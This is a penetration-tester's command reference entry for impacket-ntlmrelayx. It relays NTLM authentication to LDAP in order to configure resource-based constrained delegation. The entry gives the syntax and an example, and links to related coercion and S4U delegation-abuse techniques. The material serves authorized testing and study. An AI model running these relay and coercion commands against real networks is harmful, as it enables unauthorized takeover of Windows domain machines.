NTLM Relay to LDAP

Relay NTLM authentication to LDAP to configure RBCD delegation

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: impacket-ntlmrelayx
Category: Credential Attacks / NTLM Relay & Coercion
Platform: linux
Requires: no credentials
Protocols: LDAP, NTLM

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

impacket-ntlmrelayx -t ldap://<ip> --delegate-access

Examples

impacket-ntlmrelayx -t ldap://192.168.1.100 --delegate-access

Tags

impacket ntlmrelay relay ldap rbcd delegation

RBCD Attack Configure Resource-Based Constrained Delegation (RBCD) on a target computer
Impacket getST (S4U) Abuse constrained delegation or RBCD via S4U2Self/S4U2Proxy to impersonate a user
Coercer Coerce NTLM authentication using multiple RPC protocols
Coercer Scan (Find Coercion Vectors) Probe a target for every known authentication-coercion RPC method (PetitPotam,…
DFSCoerce Coerce NTLM authentication using MS-DFSNM (Distributed File System)
NetExec coerce_plus Module Unified coercion module — replaces the individual…
NetExec Generate Relay Target List Scan a subnet over SMB and write a file containing every host with SMB signing disabled.…
NetExec mssql_coerce Module Coerce the MSSQL service account to authenticate to your relay listener via xp_dirtree /…